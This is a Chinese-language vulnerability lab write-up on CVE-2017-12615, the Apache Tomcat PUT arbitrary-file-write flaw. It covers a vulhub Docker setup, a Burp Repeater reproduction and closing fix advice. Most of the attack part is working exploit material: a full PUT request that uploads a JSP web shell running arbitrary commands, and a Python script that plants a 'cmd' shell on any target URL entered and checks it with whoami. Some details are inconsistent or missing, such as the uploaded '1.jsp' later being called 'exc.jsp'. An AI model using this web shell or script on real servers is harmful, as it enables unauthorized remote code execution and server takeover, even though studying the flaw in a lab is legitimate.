1 漏洞原理
-
在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。
-
当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。
2 漏洞影响
-
任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。
-
远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。
-
信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。
3 环境搭建
进入vulhub目录
cd vulhub/tomcat/CVE-2017-12615
部署漏洞环境
docker compose build
docker compose up -d
查看端口
docker compose ps
访问 ,您将看到页面,表示环境正在成功运行。
4 漏洞复现步骤
1 抓包后,右键单机Send to Repeater
2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。
PUT /1.jsp/ HTTP/1.1
Host: 192.168.135.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1CCD15499524302645C18183B820C173
Upgrade-Insecure-Requests: 1
Content-Length: 302
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
这里看到返回201,应该已经上传成功了。
3.使用浏览器访问exc.jsp可以任意命令执行
5 编写python脚本探测漏洞是否存在
#!/usr/bin/env python
import requests
import time
# 提示:本代码仅用于实验和学习目的,请谨慎使用。
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
# 定义要上传的恶意文件名
payload_file = 'shell1.jsp/'
def cve_2017_12615():
# 输入目标IP地址和端口
url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")
# 将payload_file添加到目标URL
payload_url = url + payload_file
print(payload_url)
# 定义请求头
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'
}
# 定义恶意脚本内容
payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
"int a = -1;"
"byte[] b = new byte[2048];"
"while((a=in.read(b))!=-1){out.println(new String(b));}"
"%>")
# 使用PUT请求将恶意脚本写入服务器
response = requests.put(payload_url, data=payload_body, headers=headers)
print(payload_url[:-1])
print(response.status_code)
# 等待一会
time.sleep(3)
# 定义测试负载
test_payload = {
"cmd":"whoami"
}
# 发送GET请求测试恶意脚本是否成功执行
response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)
print(response2.status_code)
if response2.status_code == 200:
print("漏洞存在!!")
else:
print("漏洞不存在!!")
# 调用cve_2017_12615()函数
cve_2017_12615()
结果
6 修复建议:
-
禁用PUT方法:在Apache Tomcat服务器的配置文件(如
web.xml
)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。 -
限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。
-
输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。
-
使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。
。